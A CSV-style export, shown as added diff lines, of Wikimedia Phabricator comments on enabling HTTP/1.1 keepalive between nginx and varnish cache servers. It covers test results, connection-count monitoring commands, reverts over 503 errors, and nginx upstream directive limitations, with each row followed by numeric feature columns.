+",,,1462914528,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,44,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+659837,HTTP/1.1 keepalive for local nginx->varnish conns,"And of course, there are still elevated random 503's on text, like before.  Need to confirm if it's unrelated and coincidental (unlikely), or which of the two changes (HTTP/1.1, upstream module) cause it.",,,1462913803,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,0,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+659824,HTTP/1.1 keepalive for local nginx->varnish conns,"I've been reviewing and re-testing a bunch of related things today.  There are several inter-mixed issues and I'm not even going to try to separate them all out into separate tasks and updates really.  These are the reasons I'm looking again:
+
+* T134870 (websockets for cache_misc) - needs at least `proxy_http_version 1.1;` from nginx, plus other things.  Switching to 1.1 was also part of the keepalive work for related reasons
+* T134870 (websockets for cache_misc) - will probably also need (or at least want, but I think need) `proxy_request_buffering off;`
+* Disabling request buffering, I suspect, will not interact well with our HTTP/1.0 non-keepalive proxy conns, as lack of request buffering would slow each request flow down, and they're contending for limited slots (1/worker) to talk to varnish.
+* We've recently upgraded our nginx package by several versions, and one of the included bugfixes was related to the `keepalive` parameter we've tried to use here in the past.
+* I suspect lack of `max_fails=0` on our singular upstream server line in the previous keepalive config attempts may have played a role (but I'm really not sure).
+* There may be some negative interaction (perf and/or functional) between buffered requests and HTTP/2, at least for some requests from some clients.  It's possible this is interrelated with T134869,
+* T127294 - The most-critical reason we rolled back last time was strange behavior on cache_misc when combining nginx keepalive with do_stream + do_gzip on cache_misc.  Since then, we turned on do_stream for cache_text as well, and discovered a nasty trail of bug stuff in T133866, which is also showing that varnish is buggy for do_stream + do_gzip and non-gzip clients regardless of nginx (although nginx may have exacerbated).  We fixed that by killing varnish3 do_stream on both cache_misc and cache_text, which may well have incidentally resolved the nginx keepalive + cache_misc issues noted in T127294.
+
+For all of these reasons, I've been experimenting with keepalive, request buffering, and all related things today.  Mostly I experimented on cp1065 and cp1071 with live hacks while watching request logs, 5xx graphs/logs, and connection-state counting tools on the hosts themselves.  These are the basic results and where things have been left off at:
+
+1. After a long period of manual testing, I've merged and deployed to all: https://gerrit.wikimedia.org/r/287940 + https://gerrit.wikimedia.org/r/287995 .  The net effect of these is very minimal in practice, but they switch our known-working, un-keepalive configuration to using the `upstream` module, and switch the protocol of the un-keepalive connections to varnish from HTTP/1.0 to HTTP/1.1.  There should be little risk of fallout from this, but I'd like to leave all clusters in this state a while before going further, to confirm sanity.
+2. Testing keepalives manually on top of that, the results looked very positive.  I don't **think** there's any disfunction in turning on keepalives now, and we do get the expected increases in client concurrency.  I played with tuning while I was looking at this, and reasonably-close-ish keepalive_workers values seem to be ~4 for text and ~8 for upload.  There's more risk in this, though, so I'd like to get some isolation from (1) before we look for fallout on graphs from turning this on.
+3. Tested turning off request buffering while keepalives are enabled, and the results look positive: no big changes in connection counts under keepalive, and doesn't seem to spike up errors.  Since this is a separate risk, it should go out after we're comfortable with the above.",,,1462912208,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,44,True,1,0,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,0,1,1,1,0,1,1,0,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,0,1,0,0,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,1,1,1
+617363,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 273013 merged by BBlack:
+Revert ""cache_misc: disable do_gzip""
+
+[[https://gerrit.wikimedia.org/r/273013]]",,,1456337829,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,1
+617356,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 273013 had a related patch set uploaded (by BBlack):
+Revert ""cache_misc: disable do_gzip""
+
+[[https://gerrit.wikimedia.org/r/273013]]
+",,,1456337555,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,1
+617349,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 273012 merged by BBlack:
+disable keepalives everywhere
+
+[[https://gerrit.wikimedia.org/r/273012]]",,,1456337396,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+617342,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 273012 had a related patch set uploaded (by BBlack):
+disable keepalives everywhere
+
+[[https://gerrit.wikimedia.org/r/273012]]
+",,,1456337116,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+617341,HTTP/1.1 keepalive for local nginx->varnish conns,"See T127931 - caused elevated (but still small) 503s on cache_text, reverted for now, will revisit after further varnish/nginx software upgrades, etc.",,,1456337100,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,33,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1
+612880,HTTP/1.1 keepalive for local nginx->varnish conns,Might cause T127294. Calls to https://integration.wikimedia.org/ci/api/json ends up being corrupted somehow and that started happening when commits for this task landed.,,,1455797886,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,33,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,0,1,0,0,0
+612605,HTTP/1.1 keepalive for local nginx->varnish conns,"resolving for now, unless something new pops up",,,1455755991,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,33,True,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+612497,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271429 merged by BBlack:
+nginx keepalives: enable for upload
+
+[[https://gerrit.wikimedia.org/r/271429]]",,,1455749345,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+612492,HTTP/1.1 keepalive for local nginx->varnish conns,"I'm enabling this for upload now as well, as I've been testing one esams cache with live hacks for a while now and not seen any issues.  Will try to keep an eye on 502s (which tend to show up in pybal if they're showing up for users).
+
+The primary diffs vs when this didn't work back in August are:
+
+1. keepalive idle conns set to 1 instead of 4 (fewer baseline open connections to varnish)
+2. tcp_tw_reuse set in https://gerrit.wikimedia.org/r/271350 (most likely what fixed it)
+3. Possibly ulimit diff in https://gerrit.wikimedia.org/r/#/c/271423/ (I highly doubt this, but it's still more-correct this way).",,,1455749040,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,1,0,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,1,0,1,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1
+612490,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271429 had a related patch set uploaded (by BBlack):
+nginx keepalives: enable for upload
+
+[[https://gerrit.wikimedia.org/r/271429]]
+",,,1455748816,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+612434,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271350 merged by BBlack:
+enable tcp_tw_reuse on caches
+
+[[https://gerrit.wikimedia.org/r/271350]]",,,1455744360,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+612423,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271350 had a related patch set uploaded (by BBlack):
+enable tcp_tw_reuse on caches
+
+[[https://gerrit.wikimedia.org/r/271350]]
+",,,1455743909,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+612354,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271318 merged by BBlack:
+nginx keepalives: enable for text
+
+[[https://gerrit.wikimedia.org/r/271318]]",,,1455739226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+612303,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271317 merged by BBlack:
+nginx keepalives: enable for maps misc
+
+[[https://gerrit.wikimedia.org/r/271317]]",,,1455736091,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+612301,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271318 had a related patch set uploaded (by BBlack):
+nginx keepalives: enable for text
+
+[[https://gerrit.wikimedia.org/r/271318]]
+",,,1455736042,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+612300,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 271317 had a related patch set uploaded (by BBlack):
+nginx keepalives: enable for maps misc
+
+[[https://gerrit.wikimedia.org/r/271317]]
+",,,1455736041,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+608437,HTTP/1.1 keepalive for local nginx->varnish conns,"Concluding the test on cp1065 and returning it to its normal config.  The stats were stable, and IMHO we should move on deploying this to non-upload clusters.  Needs to wait for other experiments to conclude (e.g. SPDY) so we get some isolation of any effects on perf graphs, though.",,,1455215339,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,1,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+608313,HTTP/1.1 keepalive for local nginx->varnish conns,"Should also note: the initial test of this was with keepalive's idle conns parameter set to `4`, whereas the new tests are at `1`.  That alone may improve the situation on upload, but we may still have to also muck with thread pool parameters there to get this working, and see if it's even feasible without nginx outbound keepalive upper limits.",,,1455209279,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,0,0,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+608303,HTTP/1.1 keepalive for local nginx->varnish conns,"The above (if it holds) basically confirms earlier thinking: that this is the ""right"" thing to do and helps, but we've got upload-cluster-specific issues that caused us to revert earlier (due to upload's longer transaction lengths and thus higher inherent parallelism, + limits on inbound varnish-fe conns + lack of limits on nginx keepalive connection parallelism).  I think after a bit more live testing on cp1065, we should perhaps go ahead and roll this out for all clusters except 'upload', and then look at upload's problems a bit deeper...",,,1455208907,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,1,1,1,0,0
+608297,HTTP/1.1 keepalive for local nginx->varnish conns,"I'm live-testing this (at a setting of `1`) on an eqiad text machine (cp1065) right now.  The connection/thread stuff I'm watching is the output of:
+
+```
+root@cp1065# echo -n ""inbound TLS estab: ""; ss -tan state established|egrep '208.80.154.224:443'|wc -l; echo -n ""nginx->varnish-fe estab: ""; ss -tan state established|egrep '10.64.0.102:80\s+10.64.0.102:' |wc -l; echo -n ""varnish-fe live threads: ""; ps -efL|grep 'wikimedia_text-fronten[d]\.vcl'|wc -l; echo -n ""nginx->varnish-fe time-wait: ""; ss -tan state time-wait|egrep '10.64.0.102:80\s+10.64.0.102:' |wc -l; uptime
+```
+
+In cp1065's normal unaltered state, this shows numbers about like these (bouncing around a bit, other than varnish-fe live threads):
+```
+inbound TLS estab: 30453
+nginx->varnish-fe estab: 42
+varnish-fe live threads: 550
+nginx->varnish-fe time-wait: 63868
+ 16:28:04 up 1 day, 22:45,  1 user,  load average: 4.53, 4.78, 4.84
+```
+
+After reloading with 1x keepalive setting and waiting for stats to settle in a little, it's more like:
+```
+inbound TLS estab: 31821
+nginx->varnish-fe estab: 75
+varnish-fe live threads: 550
+nginx->varnish-fe time-wait: 1842
+ 16:33:35 up 1 day, 22:51,  1 user,  load average: 4.73, 4.55, 4.72
+```
+
+No spikes in 5xx data or funky log messages that I've observed so far.  Ganglia cpu% looks very slightly reduced, but too small to be sure or care much.",,,1455208756,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,32,True,1,0,1,0,0,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,1,0,1,1,0,1,1,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,1,0,0,1,1,1,0,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,1,0,1
+608216,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 269708 merged by BBlack:
+tlsproxy: nginx keepalives param for testing
+
+[[https://gerrit.wikimedia.org/r/269708]]",,,1455202257,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,32,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1
+607359,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 269708 had a related patch set uploaded (by BBlack):
+tlsproxy: nginx keepalives param for testing
+
+[[https://gerrit.wikimedia.org/r/269708]]
+",,,1455120470,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,31,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,1
+594101,HTTP/1.1 keepalive for local nginx->varnish conns,"Also I believe I got the wrong meaning of the max_fails directive, that does not mean ""retry for"" but jus ""consider this backend unavailable if x requests went wrong).
+
+Summary:
+nginx's upstream module is not offering any good directives for our problem without having to buy a commercial license (max_conns and queue might be useful for example, please check http://nginx.org/en/docs/http/ngx_http_upstream_module.html#upstream for more info).
+
+@BBlack: would it be possible to quantify the number and cause of the 502s returned by nginx doing a load test to a host like cp1008.wikimedia.org (I believe that it should be a test one) with the new nginx config? It might be something that we could resolve on the Varnish side (listen_depth, etc...) leaving nginx without any ""restriction"". I would really like to know exactly the root cause of the 502s before taking any other step, but you might already know it :)
+
+Last but not the least, we could think about a patch for nginx to add max-conns (not sure how tricky it would be though), but it could be painful to maintain.
+",,,1453366902,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,29,True,1,1,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,1,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1
+594083,HTTP/1.1 keepalive for local nginx->varnish conns,"@BBlack: I didn't see the ""Additionally, the following parameters are available as part of our commercial subscription:"" before the directive, in the other sections of the docs it was written after the block of text :(",,,1453363171,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,29,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,1,1,1,0,0,0,0,1,0,0,0
+593376,HTTP/1.1 keepalive for local nginx->varnish conns,"
+> The server directive has a max_conns value, but...
+> 
+> ""limits the maximum number of simultaneous active connections to the proxied server (1.5.9). Default value is zero, meaning there is no limit.
+> When keepalive connections and multiple workers are enabled, the total number of connections to the proxied server may exceed the max_conns value.""
+> 
+> May exceed might be good for this use case, but it should be tested (maybe taking a look to the code?)
+
+@elukey `max_conns` is really what we want.  I'm pretty sure the part about ""may exceed"" is just that it will use max_conns per worker thread basically, which is something we can deal with.  The problem is that `max_conns` is also commercial-only...",,,1453306340,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,28,True,0,1,0,1,0,1,1,0,0,0,0,1,0,1,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,1,0,1,1,0,1,0,0,1
+593282,HTTP/1.1 keepalive for local nginx->varnish conns,"http://nginx.org/en/docs/http/ngx_http_upstream_module.html#server
+
+A combination of max_fails (defaul to 1) and fail_timeout (default to 10 seconds) could also be a solution to avoid a straight 502 from nginx while too many connections have been opened to Varnish. This is of course a bit borderline since retrying in these situations is not always ideal.",,,1453297307,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,28,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0
+593269,HTTP/1.1 keepalive for local nginx->varnish conns,"Adding another note:
+
+http://nginx.org/en/docs/http/ngx_http_upstream_module.html#server
+
+The server directive has a max_conns value, but...
+
+""limits the maximum number of simultaneous active connections to the proxied server (1.5.9). Default value is zero, meaning there is no limit.
+When keepalive connections and multiple workers are enabled, the total number of connections to the proxied server may exceed the max_conns value.""
+
+May exceed might be good for this use case, but it should be tested (maybe taking a look to the code?)
+
+There is also another interesting directive, http://nginx.org/en/docs/http/ngx_http_upstream_module.html#queue, but it is available only for the ""commercial"" version of nginx.
+
+Still looking for a good solution to this problem, nothing conclusive for the moment.",,,1453295818,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,28,True,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,0,0,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+590873,HTTP/1.1 keepalive for local nginx->varnish conns,"Adding some notes after a chat with BBlack.
+
+http://nginx.org/en/docs/http/ngx_http_upstream_module.html#keepalive
+
+""It should be particularly noted that the keepalive directive does not limit the total number of connections to upstream servers that an nginx worker process can open. The connections parameter should be set to a number small enough to let upstream servers process new incoming connections as well.""
+
+It seems that we can tune this parameter only via Nginx Plus (commercial), but there might be some other workarounds.",,,1452886051,,PHID-USER-a6yycs7vaq2biua4pudd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,28,True,1,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,0,1,1,0,1,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,1,0,1,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,1,0,1,0,0,0
+527618,HTTP/1.1 keepalive for local nginx->varnish conns,"Never happened.  As it turns out, the only ""easy"" way to make this work right involves a parameter that's only supported in nginx's commercial Plus variant.  There may be other workarounds, but I haven't had time to go back and investigate yet...",,,1442329368,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+527615,HTTP/1.1 keepalive for local nginx->varnish conns,">>! In T107749#1504078, @BBlack wrote:
+> patch reverted. will tune this better and re-attempt later/tomorrow.
+
